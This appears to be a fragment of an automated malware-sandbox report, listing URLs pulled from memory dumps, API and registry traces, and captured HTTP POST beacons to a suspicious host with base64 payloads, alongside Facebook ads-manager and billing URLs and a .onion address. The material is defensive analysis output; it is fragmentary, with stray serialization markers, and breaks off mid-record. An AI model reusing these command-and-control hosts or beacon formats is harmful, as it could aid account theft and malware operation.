"00000000-00001296.00000002.73251.05600000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00001296.00000002.73251.05600000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00001296.00000002.73251.05600000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00001296.00000002.73251.05600000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00001296.00000002.73251.05780000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00001296.00000002.73251.05780000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00001296.00000002.73251.05780000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00001296.00000002.73251.05780000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00001296.00000002.73251.05780000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00001296.00000002.73251.05780000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=312778&key=8e23f061e7b165149ca89c994db14e12ntel?ket" - Source: "00000000-00001296.00000002.73251.05902000.00000004.mdmp") Found URL "https://z.nnnaajjjgc.com/sts/imagd.jpgavauwvshhc@>>010&0b1c1115005f5c4e0f020a1000040b144b011400b1c1115494a5c111413080004511740571216140506085f501c465147571b51505119141402511b5716571c511b0904121c030e061111050a0600110102055b0c0b0a070b1108031m0kd522434573635311625120101053d123d53210e113336571014061e5d3615250004210230824144213z240823144213z0&0b1c1115005f5c4e0f020a1000040b144b011400b1c1115494a5c111413080004511740571216140506085f501c465147571b51505119141402511b5716571c511b0904121c030e061111050a0600110102055b0c0b0a070b1108031m0kd522434573635311625120101053d123d53210e113336571014061e5d3615250004210hza?34poqjc" - Source: "00000000-00005024.00000000.69490.10000000.00000004.mdmp") Found URL "http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion" - Source: "00000000-00005024.00000000.69490.10180000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.micros1http://www.microsoft.com/pki/docs/cps/defauurapttcp" - Source: "00000000-00005060.00000000.70120.01070000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005060.00000000.70120.034F4000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005060.00000000.70120.034F4000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005060.00000000.70120.034F4000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcspyqthawte," - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;verisign," - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0digicert" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?geotrust" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005060.00000000.70120.075E0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005060.00000000.70120.6EE31000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005060.00000000.70120.6EE31000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005060.00000000.70120.6EE31000.00000020.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005060.00000000.70120.6FBD1000.00000020.mdmp") Found URL "http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionhttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onions-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\testapps-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onions-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548s-1-5-21-735145574-3570218355-1207367261-1001\software\microsoft\70b55548c:\users\hapubws\appdata\local\temp\31839b57a4f11171d6abc8bbc4451ee4.exe" - Source: "00000000-00006044.00000000.70816.10000000.00000004.mdmp") Found URL "https://zaoshang.ruhttps://zaoshang.ruregqueryvalueexwhttps://zaoshang.ruvmware" - Source: "00000000-00006044.00000000.70816.10000000.00000004.mdmp") Found URL "https://zaoshang.ruhttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionc:\users\hapubws\appdata\local\temp\31839b57a4f11171d6abc8bbc4451ee4.exec:\windows\system32\kernel32.dllc:\users\hapubws\appdata\local\tempc:\windows\system32\advapi32.dllnodefaultcurrentdirectoryinexepathc:\windows\system32\powershell.comc:\windows\system32\powershell.exec:\windows\system32\powershell.batc:\windows\system32\powershell.cmdc:\windows\system32\powershell.vbsc:\windows\system32\powershell.vbec:\windows\system32\powershell.jsc:\windows\system32\powershell.jsec:\windows\system32\powershell.wsfc:\windows\system32\powershell.wshc:\windows\system32\powershell.mscc:\windows\system32\windowspowershell\v1.0\powershell.comc:\windows\system32\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe" - Source: "00000000-00006044.00000000.70816.10100000.00000004.mdmp")49:T413,"5" "^" "M" "o" "W" "M" "N" ";" "5" "s" ";" "k" "~" "}" "[" "v" "s" "}" "i" "m" "8" "o" "{" "w" "w" ";" "o" "7" "^" "N" "}" "]" "7" "y" "q" "~" "y" "}" "8" "{" "^" "o" "o" "]" "G" "\" "{" "m" "y" "[" "F" "s" "y" "5" "k" "m" "]" "i" "<" "s" "~" "k" "f" "n" "8" "w" "u" "o" "G" "Z" "w" "N" "7" "k" "i" "<" "m" "y" "W" "w" "[" "i" "6" "w" "=" "}" "{" "M" "<" "[" "}" "|" "=" "i" "y" "|" "k" "g" "s" "=" "{" "]" "q" "w" "F" ":" "i" ";" "9" "m" "w" "{" "v" "w" "}" "_" "y" "t" "4" "~" "G" "G" "7" "s" "{" "4" "\" "m" "\" "{" "}" "w" "}" ":" "W" "k" "7" "\" "N" "y" "m" "7" "O" "z" "z" "y" "~" "s" "n" "}" "5" "N" "<" "y" "t" "v" "5" ":" "]" "w" "i" "i" "4" "w" "O" "{" "f" "W" "y" "{" "4" "y" ":" "k" "w" "\" "g" "f" "w" ":" "w" "y" "s" "4" "[" ";" "N" "{" "k" "s" "4" "g" "{" "s" "M" "6" "q" ";" "y" "]" "O" "=" "s" "<" "}" "8" "k" "F" "k"4a:T9fc,".exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007196) ".exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00007196) ".exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007196)4b:T7c2,Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00000100.00000000.70938.00C30000.00000004.mdmp, 00000000-00000100.00000000.70938.07210000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000100.00000000.70938.00C30000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000100.00000000.70938.00C30000.00000004.mdmp, 00000000-00000100.00000000.70938.07210000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp")4c:T72e,Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; File: "latestplayer.exe.3695084506") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "latestplayer.exe.3695084506") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "latestplayer.exe.3695084506") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "latestplayer.exe.3695084506") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "latestplayer.exe.3695084506") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "latestplayer.exe.3695084506") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "latestplayer.exe.3695084506") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp")4d:T436,Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "latestplayer.exe.3695084506") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "latestplayer.exe.3695084506") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "latestplayer.exe.3695084506") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "latestplayer.exe.3695084506") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "latestplayer.exe.3695084506") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "latestplayer.exe.3695084506") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "toolspub2.exe.1363130796") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp")4e:T900,Observed import api "AddAccessAllowedAce" which can "Adds an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: aafg31.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: aafg31.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: aafg31.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: aafg31.exe] Observed import api "GetSecurityDescriptorControl" which can "Retrieves a security descriptor control and revision information" [Source: aafg31.exe] Observed import api "GetSecurityDescriptorLength" which can "Returns the length in bytes of a structurally valid security descriptor" [Source: aafg31.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: aafg31.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: aafg31.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: aafg31.exe] Observed import api "MakeSelfRelativeSD" which can "Creates a security descriptor in self-relative format by using a security descriptor in absolute format as a template" [Source: aafg31.exe] Observed import api "MapGenericMask" which can "Maps the generic access rights in an access mask to specific and standard access rights" [Source: aafg31.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: aafg31.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: latestplayer.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: latestplayer.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: latestplayer.exe]4f:Tb4b,".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\LATESTPLAYER.EXE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\31839B57A4F11171D6ABC8BBC4451EE4.EXE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\TOOLSPUB2.EXE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\AAFG31.EXE"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "")50:T4d50,"POST /check/?sid=312434&key=f76e638161751dce503fb90d61f53030 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>32620D0A7B22737461747573223A322C226970223A2236372E3231382E3131312E323032222C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312438&key=304d040709cd0b81c707a35974dbf7d2 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312448&key=c334ae6dbac4b4a40797d3cd0e7c2c47 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312454&key=b7839edef07b3f72fe0ff103ec0cccba HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> 